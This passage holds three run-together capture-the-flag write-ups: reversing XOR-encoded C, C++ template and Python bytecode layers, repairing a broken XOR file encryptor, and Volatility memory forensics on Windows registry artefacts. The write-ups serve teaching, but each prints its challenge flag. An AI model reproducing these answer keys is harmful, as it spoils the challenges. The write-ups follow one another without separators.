90,80,31,67,8,80,13,95,93,93,31,67,7,93,13,85,95,72,2,70,8,72,18,95,67,82,10,94,1,81,13,95,92,80,31,64,2,82,13,92,92,87,31,68,5,72,16,95,95,72,2,74,6,72,19,95,95,72,2,66,28,86,18,84,67,87,31,71,0,72,19,91,67,93,4,94,7,82,13,88,86,72,2,67,7,72,16,90,89,72,0,67,28,93,19,65,90,83,31,67,1,82,13,92,94,86,31,67,0,81,13,92,90,86,31,64,3,80,13,90,86,72,1,64,7,72,19,92,92,72,1,75,28,85,25,92,67,85,3,64,28,83,18,65,89,82,31,70,2,72,16,94,95,72,2,69,4,72,19,94,88,72,1,64,0,72,19,89,95,72,1,66,9,72,23,90,67,85,5,69,28,84,13,93,67,84,31,66,77,95,44,103,6,10,71,82,93,5,72,3,71,77,72,127,58,68,1,77,79,0,86,17,95,0,68,69,9,8,82,21,87,1,69,65,79,16,1,78,0,28,66,12,12,5,3,66,0,84,13,77,27,86,15,70,4,80,13,77,27,85,15,6,2,88,16,93,95,72,19,6,1,88,21,65,92,90,9,72,70,5,77,24,10,90,9,72,70,5,77,24,10,72,19,6,2,88,21,89,67,68,71,67,12,85,16,65,92,90,9,72,70,5,77,24,10,90,9,72,70,5,77,24,10,90,9,72,70,5,77,24,10,90,9,72,70,5,77,24,10,90,9,72,70,5,77,24,10,77,8,127,58,68,1,77,79,23,71,22,10,94,66,2,26,16,19,78,12,68,71,1,14,3,84,23,84,68,29,81,28,16,87,72,10,1,79,9,3,95,62,120,77,100,33,0,0,0,0,0,0,0,0}; int main(){ char *key = getenv("XKEY"); char *key = "mod3r0d!"; if((!key) ||strncmp("mod3r0d!",key,8 )){ puts(";["); return 1; } unsigned long long val = *(unsigned long long *)key; unsigned long long *ptr = (unsigned long long *)flagged; while (*ptr != 0) { *ptr = *ptr ^ val; ptr += 1; } puts(flagged);} ```We see that the key is being retrieved from the environment variable `XKEY` and compared to `mod3r0d!`, if it is not equal, it returns with code 1, else it proceeds with xor.So to retrieve the flagged value we can comment out the if block and set the key to `mod3r0d!`, and then on compiling and running the program we get a C++ code as below: ```#include <iostream>template <unsigned int a, unsigned int b>struct t1 { enum { value = b + t1<a-1, b>::value };};template <unsigned int b>struct t1<0, b> { enum { value = 0 };};template <unsigned int a, unsigned int b>struct t2 { enum { value = 1 + t2<a-1, b>::value };};template <unsigned int b>struct t2<0, b> { enum { value = 1 + t2<0, b-1>::value };};template<>struct t2<0, 0>{ enum { value = 0};};void decode(unsigned char *data, unsigned int val){ unsigned int *ptr = reinterpret_cast<unsigned int *>(data); while (*ptr != 0) { *ptr = *ptr ^ val; val = (val ^ (val << 1)) ^ 0xc2154216; ptr += 1; }}unsigned char flagged[] = {5,78,186,165,208,83,107,233,137,90,173,22,11,55,64,102,120,96,164,86,86,40,53,48,46,240,191,79,163,147,87,144,13,54,47,105,205,251,163,168,220,241,45,203,105,83,176,71,111,62,70,221,93,16,218,44,96,189,187,173,165,84,27,170,76,77,204,37,199,84,203,33,253,32,19,206,38,29,99,160,69,81,157,157,124,126,68,141,97,180,138,16,220,221,201,196,76,32,74,137,130,231,10,157,149,163,144,254,60,61,214,154,60,50,81,45,18,84,166,167,37,170,234,206,184,0,133,10,102,46,192,234,130,7,107,251,158,117,171,10,98,88,109,81,60,108,172,24,87,63,125,6,31,246,143,77,179,162,107,181,102,100,104,42,130,237,169,131,158,180,52,135,59,16,165,82,108,119,21,144,113,27,219,101,20,167,164,166,254,65,26,225,15,76,216,38,214,11,239,17,208,10,19,206,38,29,96,208,60,37,245,242,18,109,74,149,96,181,139,61,246,221,201,196,76,100,15,207,130,190,72,254,250,241,152,247,38,16,252,154,60,50,81,45,18,84,166,245,96,254,191,156,246,0,149,39,76,3,234,234,130,7,45,243,175,73,167,1,99,19,46,3,67,110,181,25,92,33,42,56,50,242,131,70,163,147,64,148,97,78,104,42,130,174,237,252,208,241,99,135,38,16,241,11,60,50,70,158,18,84,159,32,96,254,244,227,246,0,72,232,0,76,206,41,206,84,206,22,250,10,19,206,38,29,96,208,60,37,245,242,18,109,74,149,96,181,139,61,246,221,201,196,76,100,15,207,130,174,85,195,194,229,148,218,12,16,252,154,60,50,81,45,18,84,166,245,96,254,191,156,246,0,149,39,76,3,234,234,130,7,107,189,208,10,174,11,89,94,34,8,121,43,161,25,109,43,63,56,39,230,204,36,220,221,20,152,76,100,104,42,130,174,237,252,208,241,99,135,38,16,241,11,60,50,70,158,18,84,159,32,96,254,183,172,178,69,68,139,102,3,141,104,130,7,194,59,208,10,19,206,38,29,96,208,60,37,245,242,18,109,74,149,96,181,139,61,246,221,138,139,2,55,91,156,142,131,110,211,208,241,152,247,38,16,252,154,60,50,81,45,18,84,166,245,96,254,191,156,246,0,149,39,76,3,234,234,204,70,38,248,131,6,197,111,38,29,109,76,60,37,226,86,18,109,115,121,96,181,192,9,246,221,20,152,76,100,104,42,130,174,237,252,208,165,54,215,106,85,249,112,62,100,67,218,16,84,217,111,50,254,189,227,191,78,72,244,13,77,202,45,138,73,142,116,147,75,95,157,47,96,105,220,17,15,245,242,18,109,74,149,96,181,139,61,246,221,201,196,76,100,15,207,130,174,68,211,208,241,152,247,38,16,252,220,114,77,18,98,86,17,168,182,47,129,249,213,186,69,219,102,1,70,230,199,168,7,107,189,208,10,232,69,38,29,109,76,60,37,226,86,18,109,115,121,96,181,192,9,246,221,20,152,76,100,46,100,253,237,162,184,149,255,32,200,89,94,176,70,121,62,107,180,18,84,159,32,96,254,244,227,246,0,72,166,76,3,141,104,130,7,194,59,208,10,19,206,38,29,96,208,60,99,187,141,81,34,14,208,110,246,196,66,176,148,155,151,24,40,70,129,199,224,11,223,253,219,152,247,38,16,252,154,60,50,81,45,18,84,166,245,96,254,191,156,246,0,149,39,76,3,234,234,130,7,107,251,158,117,171,10,98,88,99,15,115,90,174,24,93,57,50,59,108,152,234,9,246,221,20,152,76,100,104,42,130,174,237,252,208,241,99,135,38,16,241,11,60,50,70,158,18,84,159,32,38,176,139,160,185,68,13,168,15,76,242,46,208,66,135,109,145,88,64,194,11,55,96,208,60,37,245,242,18,109,74,149,96,181,139,61,246,221,201,196,76,100,15,207,130,174,68,211,208,241,152,177,104,111,191,213,120,119,95,110,93,43,229,176,44,178,233,221,164,83,156,10,102,3,234,234,130,78,37,243,149,88,230,58,89,94,34,8,121,90,157,86,15,109,48,61,31,251,133,94,219,247,20,152,76,100,58,111,214,251,191,178,208,184,45,201,99,66,220,33,17,24,0,143,18,73,159,100,37,184,189,173,179,127,14,243,2,64,133,122,142,21,206,121,215,86,111,150,54,13,60,172,100,53,228,185,110,53,90,135,19,201,211,45,230,218,197,196,68,10,64,129,199,162,77,223,208,249,145,254,11,58,186,136,60,47,81,105,87,18,239,187,37,129,249,201,184,67,157,54,64,18,230,168,133,83,23,229,192,26,180,57,126,13,125,48,100,61,241,42,74,125,98,10,28,237,208,25,241,209,20,144,34,43,38,111,142,167,225,252,216,246,44,213,98,23,253,2,53,31,108,216,1,84,130,32,36,187,178,170,184,69,55,224,25,77,206,96,146,11,210,55,146,13,71,178,126,13,112,148,64,125,229,227,110,53,82,134,28,237,155,44,133,161,145,212,92,99,3,207,138,192,11,157,149,253,152,247,33,119,181,204,121,50,28,104,18,18,234,180,39,228,191,155,255,12,149,47,75,74,164,186,215,83,108,177,217,3,197,111,96,9,109,81,60,97,167,16,91,35,54,6,38,224,142,74,254,204,24,152,95,104,104,104,133,234,145,164,192,224,39,251,126,0,227,79,64,106,86,141,86,40,199,48,116,186,136,187,230,21,12,218,20,19,156,44,254,95,210,45,148,118,75,222,49,89,28,136,44,61,177,142,70,41,54,205,112,166,207,65,184,153,181,156,92,38,75,179,218,190,7,151,172,163,220,139,126,0,228,222,64,106,65,110,86,40,254,229,37,186,195,196,230,67,209,91,20,19,172,174,254,95,123,248,148,118,176,84,54,89,17,20,45,52,166,42,70,41,15,33,113,167,132,117,174,205,7,220,48,60,121,58,198,210,181,236,195,181,31,223,54,85,181,119,100,35,85,218,110,12,143,98,36,130,186,167,138,88,89,178,8,127,213,120,154,67,190,99,193,25,87,178,126,13,113,148,64,125,229,227,86,17,4,209,28,225,207,65,174,205,216,128,48,60,30,221,198,210,28,195,146,181,228,175,55,0,184,230,100,34,23,105,110,12,183,225,36,130,231,140,229,68,233,127,92,65,174,150,218,22,126,249,172,82,249,83,97,12,48,48,100,53,243,2,110,53,99,105,60,201,152,25,230,161,76,128,95,24,48,58,147,250,145,164,192,225,63,251,126,0,224,119,100,42,85,226,74,68,142,107,28,166,228,240,164,124,16,190,94,87,241,48,146,22,134,71,136,27,4,178,126,5,115,172,100,53,228,142,74,125,91,233,56,165,155,121,138,133,216,220,63,24,87,223,146,250,56,139,192,227,196,139,126,0,236,198,64,106,65,60,110,12,190,230,28,166,175,142,146,124,205,55,92,126,238,183,254,95,123,175,132,118,176,85,53,65,17,20,44,55,166,42,74,124,106,5,56,164,217,117,174,205,4,204,48,60,120,62,222,210,181,236,194,181,31,223,55,81,141,83,45,43,58,198,2,68,227,120,120,237,136,187,230,17,52,254,84,16,241,48,146,21,134,71,136,27,11,133,90,69,112,194,110,89,173,234,81,17,18,133,113,201,211,45,230,153,181,156,93,124,124,179,218,190,84,130,172,169,128,180,98,108,164,139,126,65,45,117,2,68,161,249,77,212,191,156,246,0,149,39,76,3,234,234,130,7,107,189,208,10,232,77,72,82,35,9,48,37,251,79,30,109,98,107,113,185,192,16,238,209,20,137,93,112,100,42,147,190,248,240,208,224,114,146,42,16,224,25,47,62,70,139,0,88,159,57,119,242,244,242,230,16,68,166,89,18,129,104,147,23,211,55,208,31,6,194,38,8,119,220,60,48,230,254,18,120,94,153,96,161,147,49,246,201,208,200,76,113,31,195,130,187,82,223,208,224,136,229,42,16,237,136,41,62,81,42,126,17,232,178,52,182,191,209,191,83,216,102,24,64,162,235,133,11,107,219,145,70,187,0,42,29,124,64,60,53,238,86,102,63,38,60,105,185,237,35,246,221,20,152,76,100,104,42,130,174,237,252,208,241,99,135,38,24,246,71,121,124,65,146,18,83,207,114,41,176,160,228,250,0,79,252,5,83,138,100,130,0,132,42,215,6,19,201,96,15,103,217,53,8,223,180,7,109,87,149,36,240,205,116,184,152,182,130,25,42,76,199,146,162,68,194,220,179,159,163,90,72,236,138,64,106,73,62,110,12,182,229,61,130,231,140,230,84,233,127,92,18,182,150,218,23,123,193,136,18,251,57,126,13,124,8,64,125,242,71,89,17,43,105,120,231,188,81,231,158,64,228,20,116,122,110,254,246,253,238,172,169,123,148,90,72,225,26,64,106,86,143,110,12,143,48,46,130,172,243,238,84,52,254,92,17,201,20,218,23,209,71,136,18,0,178,126,13,113,172,100,53,228,142,74,125,90,209,28,237,155,45,133,161,145,212,92,99,3,199,236,225,10,150,220,241,254,182,106,67,185,150,60,53,63,98,66,17,167,242,108,254,184,229,179,80,148,32,69,15,234,226,133,65,120,186,220,10,239,3,50,26,97,76,59,117,176,31,92,57,116,112,105,152,234,79,227,213,29,181,102,73,66,42,130,174,237,220,240,209,67,167,0,0,0,0};int main(){ decode(flagged, t2<0xcaca0000, t2<444, t1<t2<100, t1<4,3>::value>::value, t2<44, t1<11,3>::value>::value>::value>::value>::value); std::cout << flagged <<std::endl;} ```I tried to run this program using g++, but I was getting the following error on doing so:```code.cpp: In instantiation of ‘struct t2<0, 8169>’:code.cpp:16:19: recursively required from ‘struct t2<0, 8623>’code.cpp:12:19: recursively required from ‘struct t2<443, 8624>’code.cpp:12:19: required from ‘struct t2<444, 8624>’code.cpp:32:118: required from herecode.cpp:16:19: fatal error: template instantiation depth exceeds maximum of 900 (use -ftemplate-depth= to increase the maximum) enum { value = 1 + t2<0, b-1>::value }; ~~^~~~~~~~~~~~compilation terminated.```I didnt understand this error. I tried to recompile using `-ftemplatedepth=10000` or `-ftemplatedepth=1000000` but it didnt help, it actually caused the compiler to crash with the following error:```g++: internal compiler error: Segmentation fault (program cc1plus)Please submit a full bug report,with preprocessed source if appropriate.See <file:///usr/share/doc/gcc-7/README.Bugs> for instructions.``` It seemed that the error was related to recursion and I thought this was due to the templates t1 and t2 having a long recursive call stack size. So I thought of analyzing the t1 and t2 templates. Basically templates in C++ are special functions but can operate on generic types.So I analyzed the template t1 firstIn template t1,```template <unsigned int a, unsigned int b>struct t1 { enum { value = b + t1<a-1, b>::value };};template <unsigned int b>struct t1<0, b> { enum { value = 0 };};```It is equivalent to t1(a,b) = b + t1(a-1). Also, t1(0,b) = 0So taking the example of t1(4,3)t1(4,3) = 3 + t1(4-1) = 3 + t1(3) = 3 + 3 + t(2) = 3 + 3 + 3 + t(1) = 3 + 3 + 3 + 3 + t(0) = 3 + 3 + 3 + 3 + 0 = 4 * 3Basically t1(a,b) = a * b so we can simplify ```template <unsigned int a, unsigned int b>struct t1 { enum { value = b + t1<a-1, b>::value };};```to```template <unsigned int a, unsigned int b>struct t1 { enum { value = a * b };};```Similarly t2(a,b) = a + b So after making these changes and compiling and running the cpp file we get a python code as output: ```import types def define_func(argcount, nlocals, code, consts, names): #PYTHON3.8!!! def inner(): return 0 fn_code = inner.__code__ cd_new = types.CodeType(argcount, 0, fn_code.co_kwonlyargcount, nlocals, 1024, fn_code.co_flags, code, consts, names, tuple(["v%d" for i in range(nlocals)]), fn_code.co_filename, fn_code.co_name, fn_code.co_firstlineno, fn_code.co_lnotab, fn_code.co_freevars, fn_code.co_cellvars) inner.__code__ = cd_new return inner f1 = define_func(2,2,b'|\x00|\x01k\x02S\x00', (None,), ())f2 = define_func(1,1,b't\x00|\x00\x83\x01S\x00', (None,), ('ord',))f3 = define_func(0,0,b't\x00d\x01\x83\x01S\x00', (None, 'Give me flag: '), ('input',))f4 = define_func(1, 3, b'd\x01d\x02d\x03d\x04d\x05d\x01d\x06d\x07d\x08d\td\x03d\nd\x0bd\x0cd\rd\x08d\x0cd\x0ed\x0cd\x0fd\x0ed\x10d\x11d\td\x12d\x03d\x10d\x03d\x0ed\x13d\x0bd\nd\x14d\x08d\x13d\x01d\x01d\nd\td\x01d\x12d\x0bd\x10d\x0fd\x14d\x03d\x0bd\x15d\x16g1}\x01t\x00|\x00\x83\x01t\x00|\x01\x83\x01k\x03r\x82t\x01d\x17\x83\x01\x01\x00d\x18S\x00t\x02|\x00|\x01\x83\x02D\x00]$}\x02t\x03|\x02d\x19\x19\x00t\x04|\x02d\x1a\x19\x00\x83\x01\x83\x02d\x18k\x02r\x8c\x01\x00d\x18S\x00q\x8cd\x1bS\x00', (None, 99, 121, 98, 114, 105, 115, 123, 52, 97, 100, 51, 101, 55, 57, 53, 54, 48, 49, 50, 56, 102, 125, 'Length mismatch!', False, 1, 0, True), ('len', 'print', 'zip', 'f1', 'f2'))f5 = define_func(0, 1,b't\x00\x83\x00}\x00t\x01|\x00\x83\x01d\x01k\x08r\x1ct\x02d\x02\x83\x01\x01\x00n\x08t\x02d\x03\x83\x01\x01\x00d\x00S\x00',(None, False, 'Nope!', 'Yep!'), ('f3', 'f4', 'print'))f5()```We can see the PYTHON3.8 is mentioned in the code. Also, it seems the code is trying to construct a source code by itself. I first tried to run the program with my existing python version(3.6) but it didnt work. So I installed 3.8 and ran, it was running the program fine now, and now it asks us for the flag as input.So I thought now we need to do something with the 5 functions that are defined. I did see the ASCII values in f4 in the code, and tried to see if I could convert them to chars and get the flag,but I got cybris{4ad3e79560128f}, which seemed incomplete since it is missing the 2nd 'c' in cybrics. It didnt work for the flag input as well.So I thought I need to see what is the code being generated by the given python code. Then after some fiddling around with the inspect module to print the source code as well as trying to use eval() on the cd_new inside define_func(), I was not successful.However, I searched for `python print function code` in Google, and found this link https://stackoverflow.com/questions/427453/how-can-i-get-the-source-code-of-a-python-function in which an answer mentions the use of dis module to disassemble python bytecode.After that I imported dis and added `print(dis.dis(cd_new))` after `inner.__code__ = cd_new` in the define_func function, and then I got the following disassembled code output: ``` 7 0 LOAD_FAST 0 (v%d) 2 LOAD_FAST 1 (v%d) 4 COMPARE_OP 2 (==) 6 RETURN_VALUENone 7 0 LOAD_GLOBAL 0 (ord) 2 LOAD_FAST 0 (v%d) 4 CALL_FUNCTION 1 6 RETURN_VALUENone 7 0 LOAD_GLOBAL 0 (input) 2 LOAD_CONST 1 ('Give me flag: ') 4 CALL_FUNCTION 1 6 RETURN_VALUENone 7 0 LOAD_CONST 1 (99) 2 LOAD_CONST 2 (121) 4 LOAD_CONST 3 (98) 6 LOAD_CONST 4 (114) 8 LOAD_CONST 5 (105) 10 LOAD_CONST 1 (99) 12 LOAD_CONST 6 (115) 14 LOAD_CONST 7 (123) 16 LOAD_CONST 8 (52) 18 LOAD_CONST 9 (97) 20 LOAD_CONST 3 (98) 22 LOAD_CONST 10 (100) 24 LOAD_CONST 11 (51) 26 LOAD_CONST 12 (101) 28 LOAD_CONST 13 (55) 30 LOAD_CONST 8 (52) 32 LOAD_CONST 12 (101) 34 LOAD_CONST 14 (57) 36 LOAD_CONST 12 (101) 38 LOAD_CONST 15 (53) 40 LOAD_CONST 14 (57) 42 LOAD_CONST 16 (54) 44 LOAD_CONST 17 (48) 46 LOAD_CONST 9 (97) 48 LOAD_CONST 18 (49) 50 LOAD_CONST 3 (98) 52 LOAD_CONST 16 (54) 54 LOAD_CONST 3 (98) 56 LOAD_CONST 14 (57) 58 LOAD_CONST 19 (50) 60 LOAD_CONST 11 (51) 62 LOAD_CONST 10 (100) 64 LOAD_CONST 20 (56) 66 LOAD_CONST 8 (52) 68 LOAD_CONST 19 (50) 70 LOAD_CONST 1 (99) 72 LOAD_CONST 1 (99) 74 LOAD_CONST 10 (100) 76 LOAD_CONST 9 (97) 78 LOAD_CONST 1 (99) 80 LOAD_CONST 18 (49) 82 LOAD_CONST 11 (51) 84 LOAD_CONST 16 (54) 86 LOAD_CONST 15 (53) 88 LOAD_CONST 20 (56) 90 LOAD_CONST 3 (98) 92 LOAD_CONST 11 (51) 94 LOAD_CONST 21 (102) 96 LOAD_CONST 22 (125) 98 BUILD_LIST 49 100 STORE_FAST 1 (v%d) 102 LOAD_GLOBAL 0 (len) 104 LOAD_FAST 0 (v%d) 106 CALL_FUNCTION 1 108 LOAD_GLOBAL 0 (len) 110 LOAD_FAST 1 (v%d) 112 CALL_FUNCTION 1 114 COMPARE_OP 3 (!=) 116 POP_JUMP_IF_FALSE 130 118 LOAD_GLOBAL 1 (print) 120 LOAD_CONST 23 ('Length mismatch!') 122 CALL_FUNCTION 1 124 POP_TOP 126 LOAD_CONST 24 (False) 128 RETURN_VALUE >> 130 LOAD_GLOBAL 2 (zip) 132 LOAD_FAST 0 (v%d) 134 LOAD_FAST 1 (v%d) 136 CALL_FUNCTION 2 138 GET_ITER >> 140 FOR_ITER 36 (to 178) 142 STORE_FAST 2 (v%d) 144 LOAD_GLOBAL 3 (f1) 146 LOAD_FAST 2 (v%d) 148 LOAD_CONST 25 (1) 150 BINARY_SUBSCR 152 LOAD_GLOBAL 4 (f2) 154 LOAD_FAST 2 (v%d) 156 LOAD_CONST 26 (0) 158 BINARY_SUBSCR 160 CALL_FUNCTION 1 162 CALL_FUNCTION 2 164 LOAD_CONST 24 (False) 166 COMPARE_OP 2 (==) 168 POP_JUMP_IF_FALSE 140 170 POP_TOP 172 LOAD_CONST 24 (False) 174 RETURN_VALUE 176 JUMP_ABSOLUTE 140 >> 178 LOAD_CONST 27 (True) 180 RETURN_VALUENone 7 0 LOAD_GLOBAL 0 (f3) 2 CALL_FUNCTION 0 4 STORE_FAST 0 (v%d) 6 LOAD_GLOBAL 1 (f4) 8 LOAD_FAST 0 (v%d) 10 CALL_FUNCTION 1 12 LOAD_CONST 1 (False) 14 COMPARE_OP 8 (is) 16 POP_JUMP_IF_FALSE 28 18 LOAD_GLOBAL 2 (print) 20 LOAD_CONST 2 ('Nope!') 22 CALL_FUNCTION 1 24 POP_TOP 26 JUMP_FORWARD 8 (to 36) >> 28 LOAD_GLOBAL 2 (print) 30 LOAD_CONST 3 ('Yep!') 32 CALL_FUNCTION 1 34 POP_TOP >> 36 LOAD_CONST 0 (None) 38 RETURN_VALUENoneGive me flag: ```We can see that there are some numbers being loaded as LOAD_CONST for the 4th function in brackets in the rightmost column (99), (121), ... which seem to be ASCII valuesSo taking those and combining, we get the flag which we can verify with the code input. Basically the flag in input from f3 was being compared to f4's value and returned true if correct, false if not. #### Flag: cybrics{4abd3e74e9e5960a1b6b923d842ccdac13658b3f}
Disclaimer: Not sure what the intended solution here is, but I found the flag by messing around a bit. First off, we're given the files "wut" and "cryptor.exe". Reversing cryptor.exe, it seems to open up a file called "demo.exe", then XOR it with the repeating key `7h15157h3n3w8391nn1n9`, and writing the results to a file called `wut`. This process should be reversible, so we should be able to just rename "wut" to "demo.exe" and run cryptor.exe again, or do the XORing ourselves. The process seemingly goes fine, but there's something messed up in the DOS warning in the MZ header `This program cannot be run in DOS moc9!a`. This is supposed to end with `mode.\r\n`. Further down in the file, where we're supposed to see a lot of nullbytes, there's some patterns - of the same length as our XOR key - repeating over and over. So our XORing efforts are somehow getting misaligned somewhere, and it first happens near the end of the MZ header. Opening up the encrypted file `wut` in a hex editor, there is a `\r\n` in that position. Removing the `\r` and XORing again, and the header is suddenly fine. The repeating patterns below are replaced with nullbytes. All fine now, or :) ? No. It breaks down again after a few dozen bytes or so. Repeating patterns instead of zerobytes, no binary symbols, etc. What if we try to replace ALL the `\r\n` pairs with just `\n`? ```pythonkey = b"7h15157h3n3w8391nn1n9"data = bytearray(open("wut", "rb").read().replace(b"\r\n",b"\n")) for i in range(len(data)): data[i] ^= key[i%len(key)] with open("demo_new.exe", "wb") as fd: fd.write(data)``` Briefly looking through the file now, and it's in much better shape! Sections, symbols, lots of padding nullbytes, even some XML at the end. Does it run? No. Luckily, the flag is stored inside the binary, as UTF-32, so we can just extract it without trying to figure out what's still broken. ```$ strings -e L demo_new.exeinctf{thisaintframestutter}``` My guess is that the intention of this challenge is to figure out that the encryptor somehow wrote the wrong types of newlines to the encrypted file, and we need to figure out where that happened and fix each one. But I couldn't spot such a mistake in the binary itself when reversing it.
> Investigation Continues> > 936> > There are still some more questions that have come up. Provide the answers for them too.> > When was the last time Adam entered an incorrect password to login?> > Answer should be in the format DD-MM-YYYY_HH:MM:SS. Timestamp in UTC.> > When was the file 1.jpg Opened?> > Answer should be in the format DD-MM-YYYY_HH:MM:SS. Timestamp in UTC.> > When did Adam last use the taskbar to launch Chrome?> > Answer should be in the format DD-MM-YYYY_HH:MM:SS. Timestamp in UTC.> > Note-1: The challenge file is the same as that of the challenge Investigation.> > Note-2: Wrap the answers around inctf{}. Sample flag: inctf{01-02-2019_21:04:59_05-08-2016_13:04:45_03-05-2018_12:54:35}> > Author: stuxn3t *Investigation* challenge was fairly simple once you get a hang of using [Volatility](https://www.volatilityfoundation.org/releases), but *Investigation Continues* was more difficult. The first piece of the flag was the toughest to find. It usually requires access to event logs, but ```evtlogs``` plugin refused to play ball. After lots and lots of googling I finally found [this page](http://what-when-how.com/windows-forensic-analysis/registry-analysis-windows-forensic-analysis-part-7/). Bytes 40-47 of value F in the user key under SAM has the timestamp of the last failed login: ```$ volatility -f raw_image --profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\000003E8"Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile ----------------------------Registry: \SystemRoot\System32\Config\SAMKey name: 000003E8 (S)Last updated: 2020-07-22 09:05:19 UTC+0000 Subkeys: Values:REG_BINARY F : (S) 0x00000000 02 00 01 00 00 00 00 00 4d 87 04 39 07 60 d6 01 ........M..9.`..0x00000010 00 00 00 00 00 00 00 00 60 26 1a c7 98 5e d6 01 ........`&...^..0x00000020 00 00 00 00 00 00 00 00 e8 0b 82 34 07 60 d6 01 ...........4.`..0x00000030 e8 03 00 00 01 02 00 00 10 00 00 00 01 00 e4 04 ................0x00000040 00 00 0b 00 01 00 00 00 00 00 00 00 00 00 00 00 ...................``` The timestamp value we need is ```e8 0b 82 34 07 60 d6 01```. Let's decode it: ```pythonPython 2.7.18 (default, Apr 20 2020, 20:30:41) [GCC 9.3.0] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> import time>>> def to_seconds(h):... s=float(h)/1e7 # convert to seconds... return s-11644473600 # number of seconds from 1601 to 1970>>> timestamp = 0x01d6600734820be8>>> time.asctime(time.gmtime(to_seconds(timestamp)))'Wed Jul 22 09:05:11 2020'``` The JPEG file timestamp can be found in the recent documents list: ```$ volatility -f raw_image --profile=Win7SP1x64 printkey -K "Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.jpg"Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile ----------------------------Registry: \??\C:\Users\Adam\ntuser.datKey name: .jpg (S)Last updated: 2020-07-21 18:38:33 UTC+0000 Subkeys: Values:REG_BINARY MRUListEx : (S) 0x00000000 00 00 00 00 ff ff ff ff ........REG_BINARY 0 : (S) 0x00000000 31 00 2e 00 6a 00 70 00 67 00 00 00 4c 00 32 00 1...j.p.g...L.2.0x00000010 00 00 00 00 00 00 00 00 00 00 31 2e 6c 6e 6b 00 ..........1.lnk.0x00000020 38 00 08 00 04 00 ef be 00 00 00 00 00 00 00 00 8...............0x00000030 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 *...............0x00000040 00 00 00 00 00 00 00 00 00 00 31 00 2e 00 6c 00 ..........1...l.0x00000050 6e 00 6b 00 00 00 14 00 00 00 n.k.......``` Finally, ```userassist``` gives us the update timestamp of the Chrome link in the taskbar: ```$ volatility -f raw_image --profile=Win7SP1x64 userassistVolatility Foundation Volatility Framework 2.6...REG_BINARY %APPDATA%\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk : Count: 3Focus Count: 0Time Focused: 0:00:00.503000Last updated: 2020-07-21 17:37:18 UTC+0000Raw Data:0x00000000 00 00 00 00 03 00 00 00 00 00 00 00 03 00 00 00 ................0x00000010 00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf ................0x00000020 00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf ................0x00000030 00 00 80 bf 00 00 80 bf ff ff ff ff 10 54 ef 94 .............T..0x00000040 85 5f d6 01 00 00 00 00 ._.........``` The flag is ```inctf{22-07-2020_09:05:11_21-07-2020_18:38:33_21-07-2020_17:37:18}```.